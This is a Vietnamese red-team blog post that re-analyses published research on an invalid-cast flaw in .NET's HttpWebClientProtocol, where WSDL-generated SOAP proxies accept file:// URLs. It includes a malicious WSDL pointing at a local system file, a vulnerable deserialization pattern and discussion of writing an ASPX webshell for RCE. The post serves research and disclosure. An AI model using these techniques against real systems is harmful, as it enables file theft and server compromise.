Invalid Cast Vulnerability in .NET Framework HttpWebClientProtocol Class

Published By: RED TEAM

Published On: 28/04/2026

Published in:

Trong quá trình đi tìm ý tưởng để viết blog, mình có le ve đi xin các tiền bối trong team xem dạo này có research nào đáng chú ý để lấy làm chủ đề cho bài viết được không. Sau một hồi hỏi han, mình được giới thiệu một bài nghiên cứu khá thú vị từ sự kiện Black Hat EU diễn ra vào tháng 12/2025 với tiêu đề “SOAPwn: Pwning .NET Framework Applications Through HTTP Client Proxies and WSDL”.

> Bài viết này được thực hiện dựa trên nghiên cứu gốc của watchTowr được công bố tại Black Hat EU 2025. Nội dung chủ yếu sẽ chỉ là phân tích lại các cơ chế kỹ thuật được trình bày trong whitepaper

> Reference: https://labs.watchtowr.com/soapwn-pwning-net-framework-applications-through-http-client-proxies-and-wsdl/

Ban đầu mình cũng chưa thực sự để ý tới bài này do thời điểm đó có khá nhiều chủ đề được recommend. Tuy nhiên, khi đọc được rằng kỹ thuật này có thể dẫn đến các impact rất cao như Unauth RCE và đồng thời có khả năng áp dụng trực tiếp lên các hệ thống đang triển khai thực tế của các doanh nghiệp, mình đã quyết định đào sâu hơn để hiểu rõ bản chất của nó.

Nôm na thì nội dung chính của bài báo xoay quanh một nhóm sink mới được công bố trong .NET Framework, với root cause chung là Invalid Cast Vulnerability nằm trong class HttpWebClientProtocol.

Điểm thú vị nằm ở chỗ, theo tác giả của bài nghiên cứu, Invalid Cast đã được report cho Microsoft tới hai lần, nhưng đều bị từ chối vá với lý do đây là hệ quả của việc các ứng dụng implement HTTP client proxy không an toàn, chứ không phải lỗi từ bản chất của framework

Để chứng minh cho luận điểm của mình, nhóm tác giả đã công bố whitepaper này tại sự kiện BlackHat EU 2025 nhằm chỉ ra các attack vector có thể khai thác trong thực tế đồng thời tiến hành PoC trực tiếp nó trên các sản phẩm phổ biến của môi trường enterprise như Barracuda, Umbraco CMS, ...

Đó là bối cảnh khá thú vị và cũng chính lý do mình lựa chọn chủ đề này để nghiên cứu. Trong phần tiếp theo, bài viết sẽ đi sâu vào phân tích và làm rõ các khía cạnh technical được trình bày trong bài nghiên cứu.

TL;DR

Bài viết sẽ giới thiệu nhóm sink mới trong .NET Framework tại HttpWebClientProtocol. Rootcause của nhóm sink này xuất phát từ lỗi Invalid Cast khiến nhóm Client Proxy class vốn xử lý và cast sang HttpWebRequest nay có thể xử lý cả FileWebRequest.

Từ sink đó, phát triển lên các attack vector trong thực tế dựa trên hành vi WSDL dynamic loading của nhóm class ServiceDescription. Thông qua cách xử lý WSDL file nhận vào của nhóm class này, attacker kiểm soát hoàn toàn biến Url để đọc và ghi file tuỳ ý, nếu kết hợp với khả năng kiểm soát các đối số khi truyền vào SOAP Client Proxy qua HTTP request sẽ có thể maximize impact tới unauth RCE.

1. Kiến thức nền tảng

Trước khi đi vào phần nội dung chi tiết, ta cần hiểu được một số lý thuyết nền tảng được sử dụng trong bài nghiên cứu. Đầu tiên là các vấn đề liên quan tới .NET framework HTTP Client

1.1) WebRequest Cast

Cách phổ biến nhất để chúng ta thực hiện một HTTP Request trong .NET Framework hẳn phải là sử dụng HttpWebRequest class. Và thường thì code sẽ trông dạng như này:

Phân tích về cách làm này, chúng ta đang thực hiện các bước quan trọng phải đề cập tới:
- Ta đang có một đối tượng req được khởi tạo thông qua WebRequest.Create()
- Đối tượng request này sau khi được khởi tạo, sẽ được cast sang kiểu dữ liệu HttpWebRequest

WebRequest.Create() sẽ khởi tạo đối tượng dựa trên protocol scheme được sử dụng trong URL truyền vào method này. Điều này có nghĩa là nếu URL được cung cấp có dạng http://localhost, một đối tượng HttpWebRequest sẽ được tạo ra, nếu nó là ftp://localhost, một đối tượng FtpWebRequest sẽ được tạo ra và tương tự, ... Hành vi này là intended và được Microsoft đề cập trong document của họ

Dưới tư duy của một attacker, ta sẽ nhận ra rằng nếu giá trị URL là user input đây sẽ là một lỗ hổng Arbitrary File Read. Lấy ví dụ cho 2 trường hợp dưới đây, đầu tiên ta sử dụng trực tiếp WebRequest

Vậy nhưng nếu ta cast dữ liệu trên qua HttpWebRequest và chạy, ứng dụng sẽ trả về exception với lỗi "Unable to cast object of type 'System.Net.FileWebRequest' to type 'System.Net.HttpWebRequest"

Pattern này khá phổ biến và được đề cập nhiều trong các tài liệu của Microsoft, vì vậy trong thực tế ta sẽ ít khi có thể khai thác được vào việc không sử dụng data type cast này. Nhưng đấy chỉ là trong trường hợp dev gõ code tay ra thì sẽ rất hiếm gặp, câu chuyện sẽ khác đi rất nhiều nếu việc cast data type này không phải do dev gõ mà lại được generate từ một công cụ khác. Đây là core idea mình sẽ phân tích sâu hơn dưới đây, trước tiên thì ta sẽ phải tiếp cận các khái niệm nền tảng khác trước.

------

1.2) WSDL - SOAP

Xuyên suốt bài viết này, mình sẽ đề cập rất nhiều tới nội dung về WSDL và SOAP song hành với nhau. Vì vậy trước tiên mình sẽ giải thích lại chi tiết về hai nội dung này, chúng liên quan tới nhau như thế nào.

Chắc hẳn anh em rất hay thấy thuật ngữ WSDL đi liền với SOAP. Để phân biệt cho dễ hiểu:

SOAP bản chất là một tiêu chuẩn để trao đổi thông tin với server. Nó được thiết kế để hoạt động giống hệt như việc ta gọi một hàm trong code, chỉ khác là lời gọi hàm này diễn ra qua môi trường Internet thay vì local (thường là chạy thông qua giao thức HTTP). Tiêu chuẩn SOAP định nghĩa các quy tắc chung nhất như: cấu trúc của một gói tin (phải có Envelope chứa Header và Body), cách trả về thông báo lỗi, hay cách mở rộng tính năng mã hóa message, giải thích ngắn gọn là như vậy

Ngược lại, WSDL đóng vai trò là một ngôn ngữ dùng để định nghĩa và mô tả. Nó cho chúng ta biết: web service này có những thao tác nào có thể gọi được, và các gói tin trao đổi với service đó phải có hình thù ra sao

Ta có thể hiểu trong khi WSDL đóng vai trò mô tả xem service sẽ có những hàm gì, thì SOAP quy định định dạng cụ thể để đóng gói và vận chuyển các thông điệp đó tới server. Đó là lý do vì sao WSDL gần như luôn được sử dụng để mô tả các SOAP web services

Đi sâu hơn vào WSDL, Web Services Description Language, nhìn chung là một ngôn ngữ được viết ra dưới nền tảng sử dụng dữ liệu dạng XML, WSDL được sử dụng để mô tả một dịch vụ web. Trong đó từ mô tả ở đây sẽ bao hàm việc chỉ định endpoint gắn tới service, method có trong service, input và output của service đó. Thông thường theo mình thấy, để đọc một WSDL thì ta cần chú ý vào các thành phần chính như sau:

- <types>: Định nghĩa các kiểu dữ liệu (thường dưới dạng các XML elements) mà web service sẽ sử dụng
- <message>: Định nghĩa các thành phần dữ liệu trong mỗi thao tác. Các thành phần dữ liệu này sẽ được sử dụng để trao đổi giữa các web services
- <portType>: Định nghĩa ra các operation và cả các message đi kèm operation trong web service đó
- <binding>: Định nghĩa cách operation hoạt động qua tầng network, cụ thể như protocol gì, data format gì, ...
- <service>: Định nghĩa chính xác cái endpoint URL để client gửi thẳng request vào

Lấy ví dụ một WSDL file trong thực tế, ta có thể thấy nó trông như này

<wsdl:definitions>
//Trimmed
   <wsdl:types>
       <s:element name="GetPublishInvoice">
           <s:complexType>
             <s:sequence>
               <s:element minOccurs="1" maxOccurs="1" name="comId" type="s:int" />
             </s:sequence>
           </s:complexType>
         </s:element>
         <s:element name="GetPublishInvoiceResponse">
           <s:complexType>
             <s:sequence>
               <s:element minOccurs="0" maxOccurs="1" name="GetPublishInvoiceResult" type="s:string" />
             </s:sequence>
           </s:complexType>
         </s:element>
   </wsdl:types>
   <wsdl:message name="GetPublishInvoiceSoapIn">
       <wsdl:part name="parameters" element="tns:GetPublishInvoice" />
   </wsdl:message>
   <wsdl:message name="GetPublishInvoiceSoapOut">
       <wsdl:part name="parameters" element="tns:GetPublishInvoiceResponse"
   </wsdl:message>
   <wsdl:portType name="ManagerServiceSoap">
       <wsdl:operation name="GetPublishInvoice">
           <wsdl:input message="tns:GetPublishInvoiceSoapIn">
           <wsdl:output message="tns:GetPublishInvoiceSoapOut">
       </wsdl:operation>
   </wsdl:portType>
   <wsdl:binding name="ManagerServiceSoap" type="tns:ManagerServiceSoap">
       <soap:binding transport="http://schemas.xmlsoap.org/soap/http" />
       <wsdl:operation name="GetPublishInvoice">
           <soap:operation soapAction="http://tempuri.org/GetPublishInvoice" style="document"/>
           <wsdl:input>
               <soap:body use="literal">
           </wsdl:input>
           <wsdl:output>
               <soap:body use="literal">
           </wsdl:output>
       </wsdl:operation>
   </wsdl:binding>
   <wsdl:service name="ManagerService">
       <wsdl:port name="ManagerServiceSoap" binding="tns:ManagerServiceSoap">
           <soap:address location="http://localhost:8085/ManagerService.asmx"/>
       </wsdl:port>
   </wsdl:service>
// Trimmed
</wsdl:definitions>

Để đọc một WSDL file trong thực tế, cách làm phù hợp nhất là đọc từ dưới lên bắt đầu từ service tag, vì đây là khởi đầu của entrypoint mà web service sẽ thực sự dùng để trao đổi thông tin. Trong ví dụ trên, ta được biết endpoint mà mọi SOAP req được POST đến sẽ là http://localhost:8085/ManagerService.asmx

Thẻ binding cho ta biết cách để giao tiếp với endpoint này là trao đổi dùng giao thức SOAP truyền qua HTTP. Hiểu đơn giản là khi gửi request tới endpoint trên, ta sẽ gửi kèm header SOAPAction để server biết phải gọi method nào khi mà request tới. Phần types và message định nghĩa cấu trúc dữ liệu cụ thể của từng operation. Với GetPublishInvoice, input là một object có field comId kiểu int, còn output là một object có field GetPublishInvoiceResult kiểu string

Đó là cách mà một WSDL mô tả đầy đủ các thông tin .NET Framework cần để tự động generate ra một HTTP client proxy class. Giờ ta sẽ cần hiểu cách các HTTP client proxy class này hoạt động bên dưới .NET Framework cụ thể từng bước ra sao.

------

1.3) HTTP Client Proxy in .NET Framework

Về cơ bản, .NET Framework cung cấp cho các lập trình viên một abstract class có tên System.Web.Services.Protocols.HttpWebClientProtocol, đây chính là class đóng vai trò là base class cho tất cả các XML Web service client proxy mà có sử dụng giao thức HTTP trong nó

Nghe có vẻ trừu tượng, nhưng ta có thể hiểu đơn giản rằng đây là một khung sườn được thiết kế để developer không cần phải tự tay tạo từng HTTP request khi muốn giao tiếp với một SOAP web service. Công việc của họ từ chỗ phải tự build XML body, set header SOAPAction, parse response XML thì thay vào đó họ chỉ cần sử dụng các class con kế thừa từ base class HttpWebClientProtocol để hỗ trợ các thao tác lặp lại trên

HttpWebClientProtocol có 3 class con được sử dụng rất nhiều trong thực tế:
- SoapHttpClientProtocol: sử dụng chính để gửi SOAP request, đây sẽ là trung tâm của bài viết này
- HttpSimpleClientProtocol: dùng để gửi raw HTTP request (không phải SOAP format)
- DiscoveryClientProtocol: dùng để discovery WSDL endpoint

Để trả lời được câu hỏi "How HttpWebClientProtocol works under the hood?". Ta xét chi tiết ví dụ được Microsoft đưa ra trong document của họ về SoapClientHttpProtocol được tạo ra bởi tiến trình Wsdl.exe trong quá trình hoạt động

> Refer: https://learn.microsoft.com/en-us/dotnet/api/system.web.services.protocols.soaphttpclientprotocol?view=netframework-4.8.1

Mình sẽ highlight lại các điểm quan trọng nhất mà chúng ta cần phải hiểu:
- Tại dòng 9, ta định nghĩa ra một class MyMath kế thừa từ SoapHttpClientProtocol
- Tại dòng 12 và 13, một non-argument constructor được định nghĩa ra trong đó có set thuộc tính Url thành giá trị của target URL SOAP Web Service chúng ta muốn sử dụng
- Tại dòng 18, method Add của class MyMath được định nghĩa

Khi này, để invoke một SOAP HTTP request nhằm sử dụng method được định nghĩa sẵn. Ta đơn giản là gọi

C#
MyMath math = new MyMath();
math.Add(1, 1)

Từ lời gọi đó, các hành động sau sẽ được thực hiện đúng như nội dung tiến trình Wsdl.exe định nghĩa trước:
- Một SOAP HTTP request sẽ được gửi tới http://www.contoso.com/math.asmx
- Các thông tin từ SOAP message, hay chính là header SOAPAction mình đã đề cập ban đầu sẽ invoke Add method của target service trên và truyền vào 2 tham số 1,1, thực thi rồi trả về kết quả

Trước khi đi sâu hơn vào nội dung cách mà các proxy class này thực sự gửi request hoạt động như thế nào, giờ chúng ta cần phải đi tìm hiểu một nội dung quan trọng khác. Đó là cách mà .NET Framework xử lý từ một WSDL sang proxy class hoạt động như thế nào

Vốn ta cần phải hiểu rõ vấn đề này là bởi trong thực tế không ai viết tay những proxy class này - chúng được generate tự động từ WSDL. Đó là lúc mọi thứ trở nên thú vị hơn.

1.4) Generation from WSDL to Proxy Class

Rất nhiều ứng dụng, hệ thống sử dụng .NET framework cho phép user nhập vào một URL trỏ tới WSDL file, sau đó ứng dụng phía server tự động kết nối tới SOAP service đó. Để làm được việc này, lập trình viên thường phải sử dụng class System.Web.Services.Description.ServiceDescriptionImporter. Vì vậy mình sẽ giải thích chi tiết cách hoạt động của class này

Lấy một ví dụ cách ServiceDescriptionImporter tạo ra các proxy client class từ một file WSDL như sau, dưới đây là file WSDL mình sẽ cung cấp cho class trên:

<?xml version="1.0" encoding="utf-8"?>
<definitions xmlns:soap12="http://schemas.xmlsoap.org/wsdl/soap12/"
            xmlns:tns="http://tempuri.org/"
            xmlns:s="http://www.w3.org/2001/XMLSchema"
            targetNamespace="http://tempuri.org/"
            xmlns="http://schemas.xmlsoap.org/wsdl/">
   <types>
       <s:schema elementFormDefault="qualified"
                 targetNamespace="http://tempuri.org/">
           <s:element name="TestMethod">
               <s:complexType>
                   <s:sequence>
                       <s:element name="testarg" type="s:string" />
                   </s:sequence>
               </s:complexType>
           </s:element>
           <s:element name="TestMethodResponse">
               <s:complexType>
                   <s:sequence>
                       <s:element name="TestMethodResult" type="s:string" />
                   </s:sequence>
               </s:complexType>
           </s:element>
       </s:schema>
   </types>
   <message name="TestService12In">
       <part name="parameters" element="tns:TestMethod" />
   </message>
   <message name="TestService12Out">
       <part name="parameters" element="tns:TestMethodResponse" />
   </message>
   <portType name="TestServiceSoap12">
       <operation name="TestMethod">
           <input message="tns:TestService12In" />
           <output message="tns:TestService12Out" />
       </operation>
   </portType>
   <binding name="TestServiceSoap12" type="tns:TestServiceSoap12">
       <soap12:binding transport="http://schemas.xmlsoap.org/soap/http" />
       <operation name="TestMethod">
           <soap12:operation soapAction="http://tempuri.org/TestMethod"
                             style="document" />
           <input><soap12:body use="literal" /></input>
           <output><soap12:body use="literal" /></output>
       </operation>
   </binding>
   <service name="TestService">
       <port name="TestServiceSoap12" binding="tns:TestServiceSoap12">
           <soap12:address location="http://localhost/test.asmx" />
       </port>
   </service>
</definitions>

Các ý chính trong nội dung WSDL trên có thể được tóm gọn như sau:
- Khai báo một dịch vụ tên là TestService
- Dịch vụ này được bind vào http://localhost/test.asmx và định nghĩa một method có tên TestMethod
- Method TestMethod nhận vào một tham số kiểu dữ liệu string, tên gọi là testarg

Giờ so sánh file WSDL này với những gì được gen ra từ ServiceDescriptionImporter, thứ được Microsoft miêu tả đơn giản là "Exposes a means of generating client proxy classes for XML Web services"

& "C:\Program Files (x86)\Microsoft SDKs\Windows\v10.0A\bin\NETFX 4.8 Tools\wsdl.exe" /language:CS /namespace:heheVnptBlog /out:"heheVnptBlog\TestServiceProxy.cs" “heheVnptBlog\demoWSDL.wsdl”

Thực tế file dài hơn nhưng mình đã capture lại đúng những phần nội dung quan trọng để so sánh với file WSDL gốc thì như ta có thể thấy:
- Tại dòng 28, một class TestService được tạo ra khớp với tên mà ta đã cung cấp trong WSDL file, và quan trọng hơn là class này extend từ SoapHttpClientProtocol
- Tại dòng 35, attribute Url của class được gán tại constructor với giá trị chính xác là Url ta cung cấp trong file WSDL
- Tại dòng 43, khai báo một method tên TestMethod nhận vào tham số testarg dưới dạng string, tham số này sau đó được sử dụng và truyền vào SoapHttpClientProtocol.Invoke()

Vậy nếu mình kiểm soát việc tạo và chỉnh sửa một file WSDL, từ đó thay đổi giá trị Url để tận dụng class FileWebRequest rồi đọc trực tiếp các file trong hệ thống thì liệu ServiceDescriptionImporter có validation nào không? Câu trả lời sau khi kiểm chứng là hoàn toàn không

Điều này có nghĩa là attacker hoàn toàn có thể inject file:// scheme vào <soap:address location>, và khi proxy class được generate ra với this.Url = file://…, bug trong HttpWebClientProtocol mà ta sẽ phân tích ở phần tiếp theo sẽ bị trigger

2) Root cause

Tại mục phần kiến thức nền tảng trên, mình đã đi qua các nội dung cần biết để hiểu được root cause của lỗ hổng. Giờ đây, mình sẽ đi vào chính xác vị trí dòng code mà lỗ hổng thực sự tồn tại

Như mình đã trình bày tại mục 1.3. mỗi lần sử dụng HTTP Client Proxy Class chẳng hạn như SoapHttpClientProtocol, chúng ta đều sẽ trigger một HTTP Request, vậy về bản chất thì các proxy class này trigger các HTTP Request đó như thế nào?

Trace sâu hơn vào cách SoapHttpClientProtocol thực sự gửi request bên dưới this.Invoke(), theo luồng phân tích thì nó đang sử dụng chính WebRequest.Create() với giá trị Url được truyền vào, như ảnh dưới ta có thể thấy luồng gọi như sau:

this.Invoke()
 => this.GetWebRequest()           [SoapHttpClientProtocol]
 => base.GetWebRequest()           [HttpWebClientProtocol] 
 => base.GetWebRequest()           [WebClientProtocol]
 => WebRequest.Create(uri)       

Nhưng hãy đọc kỹ hơn đoạn code là lõi của phần nội dung khởi tạo class GetWebRequest trong HttpWebClientProtocol này:

Nếu bạn đọc thực sự kỹ, bạn sẽ nhận ra rằng về cơ bản framework đang làm những bước sau đây:
- Khởi tạo biến webRequest thông qua base method GetWebRequest và tham số uri
- Khởi tạo biến httpWebRequest bằng việc cast biến webRequest sang kiểu dữ liệu HttpWebRequest sử dụng as operator
- Nếu httpWebRequest không phải null, ta tiến hành gán cho nó một đống header
- return về biến webRequest

Có thể bạn chưa nhận ra sai lầm ở đâu, đó chính là ở việc chúng ta đã thao tác rất nhiều với một biến và trả về một biến chưa từng được động vào. Có rất nhiều lỗi sai tại đoạn code này và nó cũng chính là root cause cho lỗ hổng ngày hôm nay. Các lỗi sai chí mạng bao gồm:

a) Ép kiểu dữ liệu sử dụng as operator => Nếu không cast thành công sẽ không văng error/exception mà trả thẳng về null type. Về cơ bản có thể nói đây hoàn toàn là tính năng của .NET Framework, ta có thể kiểm chứng bằng một đoạn code ngắn như dưới đây

b) Khởi tạo biến mới httpWebRequest và chỉnh sửa một đống thông tin và sau đó return sai object

c) Object bị return sai có một tham số uri nguy hiểm và cũng chính object webRequest này không hề bị cast sang kiểu dữ liệu khác như đã đề cập ở phần 1.1

Như vậy là một class mang giao thức trên tên mình SoapHttpClientProtocol lại đi phục vụ cho người dùng một giao thức khác tạo nên một sink để các attacker tận dụng, từ đó tiến tới các lỗ hổng nghiêm trọng.

Ok tới đây, mặc dù đã nhìn thấy lỗ hổng trong framework, nhưng giờ chúng ta có thể làm gì với nó? Vì mọi thứ bên trên mới chỉ là tình huống giả định, làm như nào để kiểm soát biến uri trong thực tế? Mình sẽ giải thích chi tiết ngay trong phần 3), phát triển lên các attack vector từ sink Invalid Cast Vuln của HttpWebClientProtocol base class

3) Attack Vector

Giờ hãy cùng nhìn lại vấn đề được đặt ra, mình đã chứng minh được rằng có sink nguy hiểm trong HttpWebClientProtocol  nhưng chưa chứng minh được bằng cách nào kiểm soát biến uri được truyền vào quá trình gọi method Invoke. Câu trả lời cho nội dung này nằm ngay tại phần kiến thức nền tảng 1.4 mình đã trình bày đó chính là tận dụng cách WSDL Generate ra các Client Proxy class sử dụng URL chúng ta kiểm soát trong WSDL file. Flow tấn công đầy đủ sẽ trông như sau:

> Ảnh từ bài viết: https://labs.watchtowr.com/soapwn-pwning-net-framework-applications-through-http-client-proxies-and-wsdl/

Điều này về cơ bản tức là mọi ứng dụng, công cụ .NET Framework mà hiện đang dựa vào việc sinh ra SOAP Client Proxy từ WSDL do người dùng nhập vào đều sẽ bị ảnh hưởng bởi lỗ hổng Invalid Cast này.

Btw, mình thiếu một khẳng định rằng các ứng dụng đó đều phải sử dụng ServiceDescriptionImporter để import WSDL. Nhưng điều này cũng không quá quan trọng vì trong thực tế, gần như toàn bộ source code .NET framework đều đang sử dụng class này vì nó rất phổ biến, để chứng minh thì mình sẽ làm một cách đơn giản là yêu cầu mấy con AI tạo cho mình một đoạn code phục vụ đúng mục đích trên, và kết quả như mọi người có thể thấy:

prompt: How to dynamically create a SOAP Client Proxy in .NET Framework application, when user delivers the WSDL file for the application?

Well, tất cả đều có một cách làm chung là sử dụng chính cái class sẽ được sử dụng làm Attack Vector chính trong bài. Các bạn có thể tự sử dụng prompt mình để trên và kiểm chứng lại thông tin mình đưa ra.

------

3.1) From WSDL Loading to DLL Generation and Method Invocation

Về cơ bản, theo flow đã cung cấp bên trên, các WSDL file đang được ServiceDescription load vào tại runtime. Ngay sau thời điểm đọc, phần nội dung đọc vào sẽ được compile thành assembly và load thẳng vào memory của process đang chạy, từ đó tại runtime thì .NET Framework sẽ dùng reflection để invoke các method có trong service WSDL đó

Tại đây, mình sử dụng chính template mẫu Microsoft demo cho cách sử dụng ServiceDescription, mình sẽ bổ sung thêm một phần nội dung bên dưới để dump ra DLL trong quá trình chạy. File WSDL và phần code dump mình cung cấp cho quá trình read, load, dump này như bên dưới đây:

<?xml version="1.0" encoding="utf-8"?>
<definitions xmlns:soap12="http://schemas.xmlsoap.org/wsdl/soap12/"
            xmlns:tns="http://tempuri.org/"
            xmlns:s="http://www.w3.org/2001/XMLSchema"
            targetNamespace="http://tempuri.org/"
            xmlns="http://schemas.xmlsoap.org/wsdl/">
   <types>
       <s:schema elementFormDefault="qualified"
                 targetNamespace="http://tempuri.org/">
           <s:element name="TestMethod">
               <s:complexType>
                   <s:sequence>
                       <s:element name="testarg" type="s:string" />
                   </s:sequence>
               </s:complexType>
           </s:element>
           <s:element name="TestMethodResponse">
               <s:complexType>
                   <s:sequence>
                       <s:element name="TestMethodResult" type="s:string" />
                   </s:sequence>
               </s:complexType>
           </s:element>
       </s:schema>
   </types>
   <message name="TestService12In">
       <part name="parameters" element="tns:TestMethod" />
   </message>
   <message name="TestService12Out">
       <part name="parameters" element="tns:TestMethodResponse" />
   </message>
   <portType name="TestServiceSoap12">
       <operation name="TestMethod">
           <input message="tns:TestService12In" />
           <output message="tns:TestService12Out" />
       </operation>
   </portType>
   <binding name="TestServiceSoap12" type="tns:TestServiceSoap12">
       <soap12:binding transport="http://schemas.xmlsoap.org/soap/http" />
       <operation name="TestMethod">
           <soap12:operation soapAction="http://tempuri.org/TestMethod"
                             style="document" />
           <input><soap12:body use="literal" /></input>
           <output><soap12:body use="literal" /></output>
       </operation>
   </binding>
   <service name="TestService">
       <port name="TestServiceSoap12" binding="tns:TestServiceSoap12">
           <soap12:address location="file:///C:/Windows/win.ini" />
       </port>
   </service>
</definitions>

> Ref: https://learn.microsoft.com/en-us/dotnet/api/system.web.services.description.servicedescriptionimporter?view=netframework-4.8.1

// trimmed
CodeDomProvider provider = CodeDomProvider.CreateProvider("CSharp");
provider.GenerateCodeFromCompileUnit(unit, Console.Out, new CodeGeneratorOptions());
var param = new CompilerParameters(){
   GenerateExecutable = false,
   GenerateInMemory = false,
   OutputAssembly = @"....../dump.dll"
};
var results = provider.CompileAssemblyFromDom(param, unit);
Console.WriteLine($"Dumped to: {param.OutputAssembly}");
// trimmed 

Trong thực tế với GenerateInMemory=True thì chúng ta sẽ làm theo cách là sử dụng DnSpy attach vào application của product dựa trên PID rồi theo dõi các module được sinh ra trong quá trình invoke, trong đó sinh ra trong memory chắc chắn sẽ có assembly của DLL

Mình thu được dump.dll sau khi chạy đoạn code template của microsoft chèn thêm phần dump trên. Sử dụng các .NET assembly explorer để đọc thông tin trong file dll, ta có thể thấy nội dung file DLL chứa Client Proxy class được mô phỏng lại từ WSDL ta truyền vào

Như vậy ta có flow quan trọng của attack vector:
- Ứng dụng chấp nhận URL tới từ user => Attacker cung cấp URL trỏ tới file mã độc WSDL đã được host sẵn
- Ứng dụng sử dụng ServiceDescription để đọc WSDL rồi sử dụng ServiceDescriptionImporter để chuyển dữ liệu đọc được đó sang dạng CodeDOM => Từ đó sử dụng trực tiếp CSharpCodeProvider.CompileAssemblyFromDom() để compile phần codeDom đó thành assembly trong memory
- Kể từ đó, mỗi lần gọi method của dịch vụ ta add vào thông qua Assembly generated, rồi gọi tới SoapHttpClientProtocol.Invoke(), dữ liệu người dùng cần được truyền vào method này dưới dạng object. Và để có cái dữ liệu được truyền vào này, đôi khi cái dữ liệu đó cần phải được deserialized để chuẩn hoá trước khi truyền

Tại bước ba, lý giải cho việc tại sao dữ liệu trước khi vào Invoke() cần được deserialized trước khi truyền, thì ta cần hiểu chi tiết input output của từng bộ phận một như sau, nhìn chung chúng ta có 3 thành phần chính ở đây:
- Assembly được generate từ WSDL:
   - input: WSDL
   - output: asm chứa service class, method, generated type tương ứng với complexType trong WSDL
- .NET Framework SoapHttpClientProtocol.Invoke():
   - input: một object đại diện cho instance của service proxy class, và một mảng chứa các kiểu dữ liệu mà method của service đó yêu cầu
   - output: Invoke được đúng method của đúng class với đúng các kiểu dữ liệu
- Dữ liệu được người dùng gửi vào ứng dụng: Được đưa vào ứng dụng dưới bất kỳ định dạng gì, có thể là string, XML, int, ...

Tức là, dữ liệu được người dùng gửi vào đôi khi sẽ cần được parse sao cho tầng Asm xử lý ra đúng object type mà SoapHttpClientProtocol.Invoke() yêu cầu, từ đó khi reflection sẽ trigger đúng kiểu dữ liệu mà người dùng đã nhập vào. Vì vậy, ứng dụng cần một bước trung gian để chuyển raw input thành object đúng kiểu mà method assembly generated từ WSDL yêu cầu.

Quá trình trên gọi là Argument Preparation, chính cách thực hiện chuẩn hoá trước khi gửi đi này của từng hệ thống là thứ khác biệt khiến cho một hệ thống có thể bị khai thác tới mức nào, vì về bản chất sink SoapHttpClientProtocol.Invoke() nằm ở tầng bên dưới, code ở đâu cũng hoạt động như nhau. Việc implement đoạn code chuẩn hoá đó sẽ là key point trong việc đánh giá impact của lỗ hổng.

------

3.2) Argument Preparation for Method Invocation

Như vậy là mình đã đi qua gần như toàn bộ phần nội dung cốt lõi, tổng kết qua về luồng tấn công thực tế hiện tại:
- Attacker host một file WSDL chứa mã độc trên server của họ rồi cung cấp URL cho ứng dụng
- Ứng dụng tiến hành generate một HTTP Client Proxy class dựa trên WSDL Attacker cung cấp
- Ứng dụng chọn method sẽ invoke từ class thông qua reflection (Ở bước này, tuỳ thuộc vào code vulnerable mà attacker có được kiểm soát method invoke được hay không)
- Bước argument preparation diễn ra
- Method được invoked

Tại mục nội dung này, mình sẽ tập trung hơn vào quá trình argument preparation sẽ có những pattern code như nào, từ pattern code đó sẽ hỗ trợ việc đẩy impact lên cao tới đâu. Nhìn chung thì sẽ có các trường hợp: Dữ liệu từ người dùng phải qua các phương thức deserialized tự chế, hoặc ứng dụng nhận trực tiếp các kiểu dữ liệu đơn giản như int, string, hoặc ứng dụng không nhận input từ phía người dùng sau khi WSDL được load và build lại bằng assembly vào memory.

3.2.1) Deserialization-based (XmlSerializer and Setter-based)

Trường hợp đầu tiên cũng là trường hợp có impact cao nhất. Đó là khi ứng dụng dùng XmlSerializer hoặc setter reflection để deserialize argument trước khi truyền vào method. Một pattern code vulnerable sử dụng XmlSerializer có thể trông như sau:

MethodInfo methodInfo = importedService.GetMethod(methodName); 
ParameterInfo[] parameterInfos = methodInfo.GetParameters(); 

object[] parameters = new object[parameterInfos.Length]; 

for (int i = 0; i < parameterInfos.Length; i++) 
{ 
   XmlSerializer serializer = new 
XmlSerializer(parameterInfos[i].ParameterType); 

   MemoryStream ms = new MemoryStream(); 
   byte[] data = Encoding.ASCII.GetBytes(parametersValue[0]); 
   ms.Write(data, 0, data.Length); 
   ms.Position = 0; 
   parameters[i] = serializer.Deserialize(ms); 
}

Đoạn code này đi thẳng trực tiếp vào vấn đề. Đầu tiên ứng dụng lấy method từ Assembly trong memory được gen từ WSDL của người dùng. Sau đó lấy danh sách kiểu dữ liệu của tham số truyền vào yêu cầu cho method đó. Để hiểu code này thực sự nguy hiểm tới mức nào, hãy nhìn dưới góc độ người dùng kiểm soát những gì và dữ liệu kiểm soát sau đó được xử lý như thế nào:
- Method, ParameterType đều được người dùng kiểm soát thông qua nội dung file WSDL
- Mảng parametersValue cũng do người dùng kiểm soát thông qua giá trị argument gửi kèm với request tới API khi trigger
- Tại dòng 15, dữ liệu được deser để lấy ra value theo type. Cả giá trị valuetype này đều do người dùng kiểm soát

Nói tóm lại, mục đích cuối cùng ai cũng muốn đạt tới là RCE. Và để RCE trong .NET Framework, ta cần file được ghi ra bắt buộc phải chứa đoạn <script runat="server"> để IIS tự động execute file khi nhìn thấy tag này.

Nhưng vấn đề là hãy đọc kỹ lại luồng code khi gọi SoapHttpClientProtocol.Invoke() mình đề cập tại phần 2). Ta có:

Invoke("methodName", new object[]{ stringArg })
 => GetWebRequest() - sink
     => BeforeSerialize()  ← SOAP XML building
         => Serialize(soapClientMessage)  ← encoding
             => GetWebResponse(webRequest)

Mình sẽ phân tích kỹ hơn quá trình thực hiện encode trong Serialize() vì việc này ảnh hưởng trực tiếp tới cách chúng ta khai thác. Khi trace sâu vào code của method này, mình thấy rất nhiều lần method này call tới XmlWriter.WriteAttributeString()

Nhìn chung thì việc encode này không quá lạ, SoapHttpClientProtocol khi serialize object thành XML sẽ tự động encode các ký tự < > thành &lt; &gt; và nhiều ký tự đặc biệt khác cũng tương tự. Tức là nếu attacker cố gắng nhét vào tham số stringArgument ở request tới API thì cũng không thể ghi được webshell như mong muốn. Đây đơn giản là một quy tắc khi làm việc với dữ liệu định dạng XML, nếu chứa các ký tự trên sẽ làm hỏng syntax vốn có của XML nên dữ liệu người dùng nhập vào cần được xử lý trước khi merge với dữ liệu của hệ thống.

Điều này dẫn tới kết quả ghi ra file sẽ trông như thế này nếu attacker truyền vào <script runat="server">

<soap:Envelope>
 <soap:Body>
   <methodName>
     <argName>&lt;script runat="server"&gt;malicious_code&lt;/script&gt;</argName>
   </methodName>
 </soap:Body>
</soap:Envelope>

